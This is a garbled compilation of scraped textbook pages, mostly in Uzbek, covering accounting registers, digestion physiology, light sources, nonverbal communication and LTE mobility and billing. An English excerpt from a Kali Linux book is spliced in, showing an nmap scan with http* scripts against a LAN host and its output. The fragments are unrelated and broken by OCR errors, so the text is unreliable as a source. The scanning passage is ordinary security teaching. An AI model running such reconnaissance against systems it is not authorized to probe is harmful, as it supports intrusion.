Hisob registrlari - Microsoft Word 03 Kishlok xujaligida buxalteriya xisobi va solikka tortish \

faoliyatini nazorat va rahbarlik qilish uchun hisobotlar tuziladi.
Hisob registrlaridan olingan ma’lumotlar korxona va uning bo‘linmalariga
rahbarlik va
nazorat qilish, hamda iqtisodiy tahlil qilishda foydalaniladi.
Xo‘jalik muomalalarini hisob registrlariga yozish hisobda qayd qilish deyiladi (3.1-rasm).
4.2-rasm. Xo‘jalik muomalalarini hisobda qayd qilish jarayoni
Hisob registrlarining mazmuni va ularni grafalash xo‘jalik muomalalarining xususiyati hamda
ularni hisobga olish tartibiga bog‘liq.
Buxgalteriya hisobi registrlari tashqi ko‘rinishlariga ko‘ra buxgalteriya daftarlari, kartochkalari,
alohida varaqalarga va mashinogrammalarga bo‘linadi
Buxgalteriya daftarlari – bir-biriga biriktirilgan va muqovalangan qog‘oz varaqlaridir.
Muqovasida muayyan korxonaning nomi, hisobot yili va buxgaltyerlik hisobi schotlarining nomi va
shifri ko‘rsatiladi. Daftar varaqlari buxgalteriya yozuvlari
yozilishiga qadar raqamlanadi, ayrim
maxsus ahamiyatga ega bo‘lgan daftarlar ip o‘tkazib, ipning uchlari
daftarning oxirgi betiga
surg‘uchli muhr bilan muhrlanadi va «Ushbu daftarda hamma betlar raqamlangan» degan yozuv
yozilib, korxona rahbari va bosh buxgaltyerining imzolari quyiladi. Daftarning
kyerakli betini tez
topish maqsadida uning birinchi betiga mundarija qilinadi.
So‘nggi yillarda daftar shaklidagi hisob registrlari kam qo‘llanilmoqda. Chunki, ular hisob
xodimlari orasida vazifalarni taqsimlashda noqulay va xo‘jalik muomalalarini qayd qilishda hisoblash
texnikasidan foydalanishni qiyinlashtiradi.
Kartochkalar xo‘jalik muomalalarini ro‘yxatga olish uchun mo‘ljallangan bir xil shakldagi
qog‘oz va kartondan tayyorlangan, maxsus rekvizitlari matbaa usulida bosilgan jadvallardir. Ular
analitik hisob uchun ishlatiladi.
Kartochkalar ochilish vaqtida maxsus reestrda qayd qilinadi.
Yil boshida reestrda avval
qoldig‘i bor schotlar bo‘yicha ochilgan kartochkalar, so‘ngra yangi ochilgan kartochkalar xronologik
tartibda qayd qilinadi. Amalda kartochkalar bir nusxada ochiladi va korxona buxgalteriyasida maxsus
quti-kartotekalarda saqlanadi. Kartochkalarni saqlash va ulardan foydalanish qulay bo‘lishi uchun
kartoteka bo‘lgichlar (karton plastinkalar) va indiqatorlar (metall plastinkalar) bilan jihozlanadi.
Jamlash va hisoblash texnikasida bajarilganda ham kartochkalardan
foydalanish yozuvlarni
bajarishga imkon beradi. Bundan tashqari ular hisob xodimlari o‘rtasida ishni taqsimlashda yordam
beradi.
mln.gacha b o iib , o ‘simtalaming balandligi 1 mkm va ularning orasi 10-

|
mln.gacha b o iib , o ‘simtalaming balandligi 1 mkm va ularning orasi 10- Pdf ko'rish
|
bet | 130/318 | Sana | 23.05.2024 | Hajmi | 14,15 Mb. | | #251148 |
Bog'liq G‘ofurov A.T., Fayzullayev S.S. Genetika va evolyutsion ta’limotmln.gacha b o iib , o ‘simtalaming balandligi 1 mkm va ularning orasi 10-
189
20 Hm.ga tengdir. 0 ‘simtalar orasidagi teshikchalardagi membrana
yuzasiga
fermentlar
jamlanadi.
Shu
sababli,
ichaklar
devorida
moddalaming gidrolizi uning ichidagidan ancha ko‘p miqdorda bajariladi.
Ichaklar ichidagi hazmlanishdan keyin ozuqalar o ‘simtalar orasidagi
membranalar yuzasida
mayda yoki kichik molekulalar parchalanadi,
yiriklari esa bu yuzaga tushmaydi. Silindrik o ‘simtalar va ular orasidagi
teshikchalar o ‘lchami o ‘zgarib turadi va shu sababli ham membranadagi
hazmlanish samarasi doimiy emasdir. Ichaklar devori bo‘ylab oziq
massalari qanchalik tez harakatlansa, membranalarda ovqat hazmi
shunchalik samarali bo‘ladi. Demak, A.M.Ugolevning aniqlashicha
ingichka
ichaklar
devorining
yuzasi
fermentativ
jarayonlarni
kuchaytimvchi katalizator sifatida faoliyat ko‘rsatadi deb taxmin qilinadi.
Y o‘g ‘on ichaklar shirasi ham ishqoriy muhitga ega bo‘lib unda
odatda shilimshiq modda ko'proq bo‘ladi. Bu shirada entrokinaza
fermentidan tashqari hamma fermentlar mavjud bo‘lsada, lekin ularni
ta’siri ancha kuchsiz bo‘ladi.
Shiraning qattiq qismida katta miqdorda mikroblar va oq qon
tanachalari saqlanadi. Odamlarda bir kecha-kunduzda 1 L ichaklar shirasi
ajraladi.
Fermentlar ta’sirida ichaklar hujayralarining o ‘z-o‘zidan hazmlanishi
kuzatilmaydi, bu esa birinchidan fermentlarni oziq massalari bilan birikishi
tufayli yuz bersa, ikkinchidan ehtimol antifermentlami mavjudligi tufayli
|
| |
Port Scanning | 105 - Learning Kali Linux

Example 3-18. Scripts with nmap
root@rosebud:~# nmap -sS -T
3
-p
80
-oN http.txt --script http* 192.168.86.35
Nmap
scan report
for
rosebud.lan
(
192.168.86.35
)
Host is up
(
0.000075s latency
)
.
PORT
STATE SERVICE
80/tcp open http
| http-apache-server-status:
| Heading:
Apache Server Status
for
rosebud.lan
(
via 192.168.86.35
)
| Server Version: Apache/2.4.29
(
Debian
)
OpenSSL/1.1.0g
| Server Built: 2017-10-23T14:46:55
| Server Uptime:
36
days
47
minutes
32
seconds
| Server Load: 0.00 0.00 0.00
| VHosts:
|_ rosebud.washere.com:80
| http-brute:
|_ Path
"/"
does not require authentication
|_http-chrono:
Request
times
for
/; avg: 11.60ms; min: 2.61ms; max: 29.73ms
| http-comments-displayer:
| Spidering limited to:
maxdepth
=
3;
maxpagecount
=
20;
withinhost
=
rosebud.lan
You can see from the example that the scan was limited to a single host on a single
port. If I’m going to
be running HTTP-based scripts, I may as well restrict my
searches to just the HTTP ports. You certainly can run scripts
like that with a normal
scan of 1,000 ports. The difference is going to be in parsing the output. You’ll have to
look through all the other results to find the script output for the web servers.
In addition to running scripts
and the basic port scanning,
nmap
will provide infor‐
mation about the target and the services that are running. If you specify
-A
on the
command
line for
nmap
, it will run an operating system detection and a version
detection. It will also run scripts based on the ports found to be open. Finally,
nmap
will run a traceroute to give you the network path between you and the target host.
-MAVZU
YORUG‘LIKNING TABIIY VA SUN’IY MANBALARI

47-MAVZU
YORUG‘LIKNING TABIIY VA SUN’IY MANBALARI
O‘zlaridan yorug‘lik chiqaradigan jismlar
yorug
‘
lik manbalari
deb
ataladi.
Masalan, Quyosh, yulduzlar, elektr lampochkasi, yonib
turgan sham, gulxan alangasi va h.k. Ayrim jismlar o‘zlaridan yorug‘lik
chiqarmasa-da, boshqa manbadan chiqib, o‘ziga tushgan yorug‘likni
qaytaradi. Masalan, Oy, ko‘zgular.
Ayrim hasharotlar, baliqlar ham o‘zlaridan nur chiqaradi. Yorug‘lik
manba larini shartli ravishda ikki turga ajratish mumkin:
tabiiy
va
sun’iy
manbalar (102-rasm).
133
Quyosh, yulduzlar, chaqmoq, shimol yog‘dusi, yaltiroq qo‘n-
g‘izlar, ayrim baliqlar, chirindilar yorug‘likning
tabiiy manbalariga
kiradi. Inson aralashuvi bilan hosil qilinadigan yorug‘lik manbalariga
sun’iy manbalar
deyiladi. Ularga elektr lampochkasi, gulxan alangasi,
kerosin lampasi, televizor ekrani, elektr va gaz payvandi, lyuminessent
lampalar, qizigan gazlar va h.k. lar kiradi.
Yorug‘lik manbalaridan chiqadigan nur turli rangga ega bo‘ladi.
Jismlarning yorug‘lik chiqarishining asosiy sababi uning qizishidir.
Jism temperaturasining yuqori yoki past bo‘lishiga qarab, undan
chiqayotgan nur rangi ham o‘zgaradi. Masalan, elektr lampochkasidan
belgilangan tok o‘tmasa, u qizarib yonadi va xonani yaxshi yoritmaydi.
Yorug‘likning
tabiiy manbalari
Yorug‘likning
sun’iy
manbalari
Yorug‘likni
qabul qilgichlar
102-rasm.
Yorug‘lik ta’sirida ishlaydigan jismlar
yorug
‘
likni qabul qilgichlar
deyi ladi.
Inson ko‘zi shu vazifani bajaradi. Fotoplyonkalar, fotosurat,
videokamera, Quyosh batareyalari, pult bilan boshqariladigan televizor
va magnitofonlar shular jumlasidandir. O‘simliklarda Quyosh nurlari
ta’sirida murakkab jarayonlar boradi va Yerdagi hayot uchun muhim
bo‘lgan kislorod ajraladi va oqsillar, yog‘ hosil bo‘ladi.
134
1. Yorug‘likning yana qanday manbalarini bilasiz?
2. Sovuq holda nur chiqaradigan manbalar bormi?
3. Yorug‘lik ta’sirida ishlaydigan yana qanday qurilmalarni bilasiz?
|
guruh uchun tarqatma material

195
dugonalarning suxbati bir-biridan farq kiladi. Monologik nutk bir kishining
boshqa kishiga murojaati― fikrlarning mantikan tugal bo’lishi, grammatik
konun-koidalarga rioya qilish kerak. Odamlarning
mulokot jarayonida
suzlardan tashqari turli xil harakatlardan, kiliklardan, xolatlardan, kulgu,
oxanglardan ham foydalanadilar. Mimika,
kuz karashlar, tuxtashlar (pauza)
ifodalari va xokazo. Buyuk rus yozuvchisi L. Tolstoy odamlarda 97 xil kulgu
turi, 85 xil kuz karashlar turi borligini kuzatgan. Andreyevaning yozishicha,
odam yuz ifodalari, nigoxlarining 2000 ga yaqin ko’rinishlari bor.
Bu noverbal mulokat vositalarining milliy va xududiy xususiyatlari bor.
Masalan . o’zbek
xalkining mulokot jarayoni boy, uzaro munosabatlarning
bevosita xarakteri unda shunday vositalarning ko’proq ishlatilishi bilan boglik.
Bolgarlar biror fikrni tasdiklamokli bo’lishsa, boshlarini chaykashadi, inkor
etmokchi bo’lishsa, bosh siltashar ekan.
Noverbal mulokatda suxbatdoshlarning
fazoviy joylashuvlari ham
ahamiyatga ega: Masalan, ayollar xissiyotga berilganligi uchun bir – birlari
bilan yaqin turib gaplashar ekanlar, erkaklar o’rtasida masofa Bular ekan.
O’quvchilarni partada orqama – ketin o’tkazgandan ko’ra doira shaklida
utkazilsa, ularda javobgarlik xissi yuqoriroq Bular ekan,
Emotsiyalar
almashgani uchun ham guruxdagi psixologik vaziyat ijobiy bo’lib, bolalarning
predmetga va bir – birlariga munosabatlari ancha yaxshi Bular ekan.
Demak ta’lim – tarbiya jarayonini tashkil etishda mulokotning barcha
vositalariga, Ayniqsa, nutkka e’tibor berish kerak. Bolalarni ilk yoshlik
choglaridanok nutk madaniyatiga urgatish, nutklarini ustirish choralarini ko’rish
zarur. Pedagog ham nutk madaniyatiga ega bo’lishi kerak.
Nazorat savollari - Raqamli mobil aloqa

249
16-bob. EMM DARAJASIDA AU NING
MOBILLIK HOLATLARI
16.1. EMM darajasida AUning mobillik holatlari.
Noaktiv holatdagi mobillik
AUlarining mobilligik boshqaruvi “uy” va mehmon sotalarda
ishlatiladigan radiotexnologiyalarga, AUni mobil holatiga va ax-
borot jo‘natiladigan OTO‘ darajasiga asoslangan holda klassifikat-
siya qilinadi.
LTE tarmoqlarida soddalashtirilgan ko‘rinishda AU, mobillik
nuqtayi nazaridan, 16.1-rasmda ko‘rsatilganidek, uch holatdan
birida bo‘lishi mumkin: “Ulanmagan LTE”
(ingl. LTE Detached),
“Noaktiv LTE”
(ingl. LTE Idle), va “Aktiv LTE”
(ingl. LTE Ac-
tive) holatlari.
Bunda
“Ulanmagan LTE”, odatda, o‘tkinchi holat bo‘lib, u
AUni endi yoqilib tarmoqni qidirish va unga ulanish jarayonida
bo‘lishiga to‘g‘ri keladi.
“Aktiv LTE” holatida AU tarmoqqa ulan-
gan va RRC darajasida eNB tugunida ro‘yxatdan o‘tgan bo‘ladi.
Bu holatda AU qaysi sotaga bog‘langani ma’lum bo‘lib, u bilan
ma’lumot ayirboshlash mumkin bo‘ladi.
“Noaktiv LTE” AU quv-
vatini tejash holatiga mos bo‘lib, bu holatda AU ma’lumot pa-
ketlarini uzatmaydi ham, qabul ham qilmaydi. Bu holatda AUga
tegishli kontekstlar eNB tugunida saqlab qolinmaydi, chunki AU
ning territorial joylashuvi faqatgina MME moduliga ma’lum, u
ham bo‘lsa bir necha eNB tugunidan iborat bo‘lgan “kuzatuv zo-
nasida” – TA
(ingl. Tracking Area). MME moduliga AUni oxirgi
marta ulangan TA zonasi ma’lum bo‘ladi va AUning joylashuvini
aniqlash uchun qisqa xabar – peydjing yuboriladi.
Batafsilroq ravishda AUning mobillik holatini MME modulida
saqlanuvchi axborotga qarab ikki darajaga ajratish mumkin:
-rasm - Raqamli mobil aloqa

262
(
ingl. Host Based Mobility) ham ishlatiladi. Birinchi guruhga, ma-
salan, PMIPv6 protokoli
(ingl. Proxy Mobile IP version 6) kirsa,
ikkinchisiga MIPv4 FA
(ingl. Mobile IP version 4 Foreign Agent)
protokoli kiradi. S2b interfeysi orqali faqat PMIPv6 protokoli ish-
latiladi, S2c interfeysida ishlash uchun esa afzallik DS-MIPv6
(ingl. Dual-Stack Mobile IP version 6) protokoliga berilgan. 3GPP
va “no-3GPP” tarmoqlar orasidagi “xendover” ning mobillik sx-
emasi AUning “xendover” paytida kirib qoladigan mehmon tar-
mog‘ida AU “xendover”ga kirgunga qadar u uchun ajratilgan re-
surslar bo‘lishi (ya’ni “bashorat qilingan xendover” rejimi amalga
oshishi) ko‘zda tutilmagan. Lekin uzluksiz mobillikni tashkillasht-
irish bo‘yicha mehmon tarmoqlarda resurslar ajratish bo‘yicha
takliflar ko‘rib chiqilgan edi.
Hisob-kitob operatsiyalari

276
motlarni olish, kommutatsion qurilmadan sarf qilingan trafik
to‘g‘risida ma’lumotlarni olish va ularga ishlov berish, mediat-
siya tizimidan ma’lumotlar olish); iste’molni baholash (iste’mol
haqidagi ma’lumotlarning hisob-kitob ko‘rsatkichlarini aniqlash);
baholarni birlashtirish (agregatsiya) va abonentlarga ishlatilgan
xiz matlari uchun hisob yozishni tashkil qilish, soliqlar, chegir-
malar va qo‘shimchalarni hisoblash, xatolarni to‘g‘irlash, to‘lov
uchun hisob varaqalar yaratish, to‘lov hisob-kitoblarini abonent-
larga yetkazish yoki ma’lum qilishni ta’minlash, abonentlarning
shaxsiy hisob raqamlarini boshqarish va shu kabi boshqa qator
funksiyalar amalga oshiriladi.
Hisob-kitob operatsiyalari bloki telekommunikatsiya xizmatla-
rining turiga hamda abonentlar bilan o‘zaro munosabatlar mode-
liga qarab turlicha tashkil etilishi mumkin. Xususan, “oldindan
to‘lash”
(ingl. Prepaid) yoki “fakt asosida to‘lash”
(ingl. Postpaid)
modellari ajratiladi.
Oldindan to‘lash (Prepaid) – abonentlar bilan hisob-kitobni
amalga oshirish modeli bo‘lib, aloqa xizmati operatori abonent
hisob raqamiga oldindan to‘lovni amalga oshirishni ko‘zda tutadi.
Bu kabi tizimlarda hisob-kitob real vaqt asosida amalga oshirila-
di. Bunda abonentga operator tomonidan o‘rnatilgan eng kam
miqdor mavjud bo‘lib, abonent hisobida qolgan pul ungacha ka-
maysa, xizmat ko‘rsatish rejimi o‘zgarishi (yoki to‘liq to‘xtatilishi)
mumkin. Abonent hisobidagi mablag‘ miqdori, ijobiy balansning
davomiyligi, tushayotgan to‘lovlarning miqdori va doimiyligi —
operator tomonidan ko‘rsatiladigan xizmatlarning sifati, miqdori
va hisobi uchun tarifikatsiya parametrlari bo‘lib xizmat qiladi.
Oldindan to‘lash modeli “issig‘idagi billing” deb ham ataladi.
Noaktiv holatdagi mobillik

254
дублирование) ga yo‘l qo‘ymaydi deb hisoblandi. Bunday sxema-
da AU bir emas bir nechta TAlar yig‘indisi
(ingl. TA set)da ro‘y-
xatdan o‘tgan bo‘lishi mumkin (16.5-rasm).
Shunday qilib, bu sxemada AU o‘z harakatida ro‘yxatdan o‘tgan
TAlar guruhi zonasida bo‘lganida TAU jarayoni bajarilmaydi. AU
o‘z TA lar guruhi chegarasidan chiqishi bilan TAU jarayoni boshla-
nadi. Natijada ushbu AU uchun qayd qilingan TAlar guruhi yangi-
lanadi yoki uni tarkibi o‘zgaradi. TAlar guruhining shakllanishi har
bir AU uchun “personallashtirilgan” asosda amalga oshiriladi va
bunday moslashuvchanlik TAU jarayonlari hisobiga umumiy tar-
moq yuklanishini ancha kamaytirishiga imkon beradi.
AU2 TA2 TA4 TA3 da
ro‘yxatga olingan
AU1 TAU protsedurasini eNB1 orqali
amalga oshiradi
AU1, TA1,
TA3, TA2 da
ro‘yxatga olingan
AU2 TAU protsedurasini
eNB2 orqali amalga
oshiradi
AU1 TAU protsedurasini
eNB3 orqali amalga oshiradi
X-TAU protsedurasini amalga oshiradi
AU3 TA5 da
ro‘yxatga olingan
Aktiv holatdagi mobillik - Raqamli mobil aloqa

16.2. Aktiv holatdagi mobillik
LTE tizimida AUning “aktiv LTE” holatida uni ikki sota
orasida harakatlanishida “teskari (yoki bashorat qilingan) xen-
dover” jarayoni amalga oshadi. “xendoverning” bu turida “uy”
sota AUning status ma’lumotlariga asoslangan holda mehmon
sotani aniqlab unga AU uchun kanal ajratishini so‘rab xabar be-
radi. Bunday xabarni olgan mehmon sota kerakli kanal resursini
ajratadi va shundan so‘ng “uy” sota AUga “xendover” jarayonini
boshlashga buyruq beradi.
LTE tizimida RLC protokolining ta’siri eNB tugunigacha
bo‘lgani sababli “pastga” yo‘nalishdagi ma’lumotlarni buferizat-
siya qilish (xotirada saqlash) eNBda amalga oshiriladi. Shuning
uchun LTE tizimlarida eNB tugunlari orasidagi “xendover” vaq-
tida ma’lumotlarni yo‘qolishiga qarshi mexanizmlarning ishla-
tilishi UMTS tizimlaridagiga nisbatan kattaroq ahamiyatga ega
(chunki UMTSda ma’lumotlarning buferizatsiyasi radiotarmoq-
ning markaziy kontrolleri — RNC da amalga oshadi, ular orasida
esa “xendover” kamroq amalga oshiriladi). Shu sabab “xendover”
jarayonida ma’lumotlar yo‘qolishini minimallash maqsadida LTE
tarmoqlarida ikki mexanizm taklif qilingan: ma’lumotlar buferi-
ni qayta yo‘naltirish (rus. переадресация) va ma’lumotlarni ikki
marta yuborish (ingl. bi-casting) mexanizmlari.
257
Ma’lumotlar buferini qayta yo‘naltirishda, “xendover” haqida
qaror qabul qilingandan so‘ng “uy” eNB AU uchun mo‘ljallan-
gan va buferda saqlangan barcha ma’lumotlarni mehmon eNB ga
X2 interfeysi yordamida jo‘natadi. Agarda eNB tugunlari orasi-
da X2 interfeysi tashkil qilinmagan bo‘lsa, u holda AUga barcha
ma’lumotlar MME orqali S1 interfeysi yordamida yo‘naltiriladi.
Ikki marta yuborish mexanizmida S-GW shlyuzi ma’lumotlarni
AUning joylashish tasodifi eng yuqori bo‘lgan eNBlar guruhiga (“uy”
eNBni ham qo‘shgan holda ikki yoki ko‘proq eNBlarga) yuboradi.
Aytib o‘tish joizki, ma’lumotlarni ikki marta yuborish mexanizmi ma-
gistral liniyalarning ancha katta o‘tkazuvchanligini talab qiladi, lekin
ma’lumotlarning yo‘qolishidan to‘liq kafolatlamaydi. Katta muammo
ma’lumotlarni yuborish vaqtini aniqlashdadir: agar yuborish vaqtdan
ilgari amalga oshsa, bu magistral liniyalarda yuklanishni oshishiga, agar
kechiktirilsa — ma’lumotlar paketini yo‘qolishiga olib kelishi mumkin.
Shularni hisobga olgan holda, 3GPP loyihasi LTE tarmoqlari
ichidagi “xendover” jarayonlarida ma’lumotlar buferini qay-
ta yo‘naltirish mexanizmini ishlatishga qaror qildi. Bunda “uy”
eNB trafikning turiga qarab uni qayta yo‘naltirish bo‘yicha o‘zi
qaror qabul qilishi mumkin. Misol uchun, agar trafik real vaqt
masshtabida bo‘lmasa, qayta yo‘naltirishda ma’no bor, aks holda
– bundan ma’no yo‘q (16.6-rasm).
Mezbon eNB
Mehmon eNB
S-GW
CQI kanali holati
haqida ma’lumotnoma
a)
258
Mezbon eNB
Mehmon eNB
S-GW
AU uchun
kontekst
eNB orasida
X2 interfeysi
orqali signalling
“xandover”ga
tayyorlash
b)
Mezbon eNB
Mehmon eNB
S-GW
AU mezbom eNB
dan mehmon eNB
ga o‘tishda UL-pa-
ketlarni buferda
saqlaydi
eNB orasida
X2 yuboriladi
d)
259
Mezbon eNB
Mehmon eNB
S-GW
MME
“xandover”
tugadi
e)
Mezbon eNB
Mehmon eNB
S-GW
f)
260
Mezbon eNB
Kanal resurslarini
bo‘shatish
Mehmon eNB
S-GW
g)
|